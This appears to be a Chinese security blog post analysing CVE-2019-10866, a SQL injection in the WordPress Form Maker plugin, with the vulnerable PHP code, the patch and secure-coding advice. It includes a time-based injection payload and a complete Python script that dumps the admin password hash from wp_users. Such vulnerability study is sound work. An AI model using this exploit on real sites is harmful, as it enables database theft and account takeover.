热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

phppost漏洞_WordPress插件FormMakerSQL注入漏洞分析

最近WordPress的插件出现各种姿势漏洞(都是插件,不知何时能有核心漏洞出现),EasyWPSMTP、SocialWarfare、FormMaker

最近WordPress的插件出现各种姿势漏洞(都是插件,不知何时能有核心漏洞出现),Easy WP SMTP、 Social Warfare、Form Maker等等,其中Form Maker1.13.3之前版本存在sql注入漏洞(CVE-2019-10866)。最近一直在看cms的漏洞代码,于是顺手在网上找了该插件的影响版本与修补后的版本进行了代码分析,并且在本地对该漏洞进行了分析复现和POC代码编写调试。下面是分析和复现的过程:

本地环境:Wordpress5.1 + Form Maker1.13.3

在本地搭建WordPress5.1版本,然后上网找一下FormMaker的历史版本。安装的时候选择上传安装,有可能会有上传大小限制,需要改一下php.ini中的配置信息。安装完成后记得要把自动更新关掉,要把自动更新关掉,要把自动更新关掉,重要的事情说三遍。然后就可以专心的进行代码审计和漏洞复现了。

漏洞位置:\wp-content\plugins\form-maker\admin\models\Submissions_fm.php

在cve的信息中作者提到在该路径下的php文件存在问题,直接定位文件进行审计。

... $order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id'); $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc'); ... if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) { $orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . ''; } else if ( $order_by == 'display_name' or $order_by == 'user_email' ) { $orderby = ' ORDER BY (SELECT ' . $order_by . ' FROM ' . $wpdb->prefix . 'users WHERE ID=user_id_wd) ' . $asc_or_desc . ''; } else { $orderby = ""; }

在上述代码中存在问题的位置:

$asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');     ...    if ( $order_by == 'group_id' or $order_by == 'date' or $order_by == 'ip' ) {      $orderby = ' ORDER BY ' . $order_by . ' ' . $asc_or_desc . '';    ...

代码中对所有的参数都有判断检测,唯独对$asc_or_desc参数什么都没做,把传进来的参数直接和查询语句拼接在了一起(危险警告)。再看一下其他位置有没有类似的危险操作,或者上下文调用中是否对这个参数有检测(拼接前都没有估计其他位置也不能有了)?

对整个插件工程全文搜索$asc_or_desc,继续寻找。

漏洞位置:\wp-content\plugins\form-maker\admin\controllers\Submissions_fm.php

... $group_ids = ((isset($labels_parameters[6])) ? $labels_parameters[6] : NULL); $params['group_id_s'] = $this->model->sort_group_ids(count($params['sorted_label_names']), $group_ids); $params['where_choices'] = $labels_parameters[7]; $params['searched_ids'] = $labels_parameters[8] ? implode(',', $labels_parameters[8]) : ''; $params['groupids'] = $labels_parameters[8] ? array_reverse($labels_parameters[8]) : array(); $params['order_by'] = $order_by = WDW_FM_Library(self::PLUGIN)->get('order_by', 'group_id'); $params['asc_or_desc'] = $asc_or_desc = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc'); ... if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) { $is_sort = true; $order_by = $_POST['order_by']; $asc_or_desc = $_POST['asc_or_desc']; ... Foreach ( $lists as $list_key => $list_val ) { If ( !Empty($_GET[$list_key]) ) { $lists[$list_key] = urlencode(WDW_FM_Library(self::PLUGIN)->get($list_key)); $pagination_url_args[$list_key] = WDW_FM_Library(self::PLUGIN)->get($list_key); $pagination_url_args[‘is_search’] = 1; } } $pagination_url = array_merge(rray(‘page’ => $this->page, ‘task’ => ‘display’, ‘current_id’ => $id, ‘order_by’ => $order_by, ‘asc_or_desc’ => $asc_or_desc),pagination_url_args);    params[‘pagination_url’]  = add_query_arg( $pagination_url , admin_url(‘admin.php’) );

危险警告X2:

$params['asc_or_desc'] = $asc_or_desc  = WDW_FM_Library(self::PLUGIN)->get('asc_or_desc', 'desc');...    if ( !empty($_POST['order_by']) || !empty($_POST['asc_or_desc']) ) {    $is_sort    = true;    $order_by    = $_POST['order_by'];    $asc_or_desc = $_POST['asc_or_desc'];    ...    $pagination_url = array_merge(rray('page' => $this->page, 'task' => 'display', 'current_id' => $id, 'order_by' => $order_by, 'asc_or_desc' => $asc_or_desc),pagination_url_args);

发现参数‘asc_or_desc’,代码中同样没有对该参数进行过滤或是合法性的判断(不能相信用户任何的输入)。

通过以上两个漏洞的位置大致可以知道sql注入的产生原因了,可利用$asc_or_desc参数构造sql注入,形如:

,(case+when+(select+sleep(5)+from+wp_user+limit+1)+then+1+else+2+end)+asc+--+

在这之前还要解决一个重要的问题就是找到传参的位置,简单的办法就是在本地搭建的环境中使用产生漏洞插件的各种功能,查看每个功能传的参数,如图:

2082676e9519992f0c4d396d3be0b790.png

根据该漏洞路径,参照Daniele Scanu @ Certimeter Group的漏洞利用脚本,可对WordPress数据库进行查询,最终注入脚本如下,以查询wp_user中用户密码为例:

注入脚本:

import requestsimport timeurl_vuln = 'http://ip/wordpress/wp-admin/admin.php?page=submissions_fm&task=display¤t_id=2&order_by=group_id&group_id&asc_or_desc=' #group_id&group_id&asc_or_desc='session = requests.Session()dictionary = '@._-$/\\"£%&;§+*1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'flag = Trueusername = ""password = ""temp_password = ""TIME = 1def login(username, password): payload = { 'log': username, 'pwd': password, 'wp-submit': 'Login', 'redirect_to': 'http://ip/wordpress/wp-admin/', 'testCOOKIE': 1 } session.post('http://ip/wordpress/wp-login.php', data=payload)def print_string(str): print "\033c" print strdef get_admin_pass(): len_pwd = 1 global flag global temp_password while flag: flag = False ch_temp = '' for ch in dictionary: print_string("[*] Password dump: " + temp_password + ch) ch_temp = ch start_time = time.time() r = session.get(url_vuln + ',(case+when+(select+ascii(substring(user_pass,' + str(len_pwd) + ',' + str(len_pwd) + '))+from+wp_users+where+id%3d1)%3d' + str(ord(ch)) + '+then+(select+sleep(' + str(TIME) + ')+from+wp_users+limit+1)+else+2+end)+asc%3b') elapsed_time = time.time() - start_time if elapsed_time >= TIME: flag = True break if flag: temp_password += ch_temp len_pwd += 1login(username, password)get_admin_pass()print_string("[+] Password found: " + temp_password)

注意:因网络原因需要设置合理的TIME时长。

本地运行结果:

0c691049a69476682c5917c8bcda88fb.pngc4d22b568f7da064062458b03ce94be5.png利用脚本可查询当前网站下用户所有敏感数据。

修补方式:

在1.13.3版本以后,该插件对参数$asc_or_desc进行了严格的限制。

82e824052fea254fa4c33de44a89420c.pngdaa724fda177e2215440dfe270c70e7b.png

在最近的cms代码审计学习中也发现了一些应为过滤审核不严导致的sql注入漏洞,在代码编写的过程中万万不可相信用户任何的输入,需要严格的过滤审核才能带入到程序中运行,否则就会产生安全隐患。

以上。

*本文原创作者:Kriston,本文属FreeBuf原创奖励计划,未经许可禁止转载

精彩推荐

5d259f7c86971368d5febf5a7315282e.pngd5ae11e72a8b2ecaa354280b24d76243.pnge546030000c637b676451e1cbd71e97e.pngee0cbd82299c1abd018aa718aacd03e0.png64a4a0a4913ab6110cd372882c048b7d.gifa5da03d27d9a3b9d7aeec3cc8f13489c.gif




推荐阅读
  • SoIhavealoopthatrunsperfectforeventsandonlyshowsfutureposts.TheissueisthatIwould ... [详细]
  • 阿,里,云,物,联网,net,core,客户端,czgl,aliiotclient, ... [详细]
  • PHP WEB项目文件夹上传下载解决方案
    PHP用超级全局变量数组$_FILES来记录文件上传相关信息的。1.file_uploadsonoff是否允许通过http方式上传文件2.max_execution_time3 ... [详细]
  • nodejs npm被自动删除?
    WordPress数据库错误:[Toomanyconnections]SEL ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 计算机存储系统的层次结构及其优势
    本文介绍了计算机存储系统的层次结构,包括高速缓存、主存储器和辅助存储器三个层次。通过分层存储数据可以提高程序的执行效率。计算机存储系统的层次结构将各种不同存储容量、存取速度和价格的存储器有机组合成整体,形成可寻址存储空间比主存储器空间大得多的存储整体。由于辅助存储器容量大、价格低,使得整体存储系统的平均价格降低。同时,高速缓存的存取速度可以和CPU的工作速度相匹配,进一步提高程序执行效率。 ... [详细]
  • 本文介绍了一个在线急等问题解决方法,即如何统计数据库中某个字段下的所有数据,并将结果显示在文本框里。作者提到了自己是一个菜鸟,希望能够得到帮助。作者使用的是ACCESS数据库,并且给出了一个例子,希望得到的结果是560。作者还提到自己已经尝试了使用"select sum(字段2) from 表名"的语句,得到的结果是650,但不知道如何得到560。希望能够得到解决方案。 ... [详细]
  • 本文详细介绍了Spring的JdbcTemplate的使用方法,包括执行存储过程、存储函数的call()方法,执行任何SQL语句的execute()方法,单个更新和批量更新的update()和batchUpdate()方法,以及单查和列表查询的query()和queryForXXX()方法。提供了经过测试的API供使用。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • 前景:当UI一个查询条件为多项选择,或录入多个条件的时候,比如查询所有名称里面包含以下动态条件,需要模糊查询里面每一项时比如是这样一个数组条件:newstring[]{兴业银行, ... [详细]
  • 本文介绍了在iOS开发中使用UITextField实现字符限制的方法,包括利用代理方法和使用BNTextField-Limit库的实现策略。通过这些方法,开发者可以方便地限制UITextField的字符个数和输入规则。 ... [详细]
  • PHP操作MySql数据库_PHP教程:链接数据库$conn@mysql_connect(localhost,root,88888888)ordie(链接错误);解决中文乱码mys ... [详细]
  • 安装WLWSupport插件组合使用WindowsLiveWriter,完美支持标签编辑,别名,摘要,上传;完全可视化。WindowsLiveWriter支持有metaweblog ... [详细]
  • Vue cli2.0 项目中使用Monaco Editor编辑器
    monaco-editor是微软出的一条开源web在线编辑器支持多种语言,代码高亮,代码提示等功能,与VisualStudioCode功能几乎相同。在项目中可能会用带代码编 ... [详细]
  • 1、问题?项目打包报错;程序包com.sun.image.codec.jpeg不存在;2、原因尚不明确;由于jdk升级问题。才出现的,可能jdk6就不会出现;初步怀疑jdk的问题; ... [详细]
author-avatar
真实的姜伯约_832
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有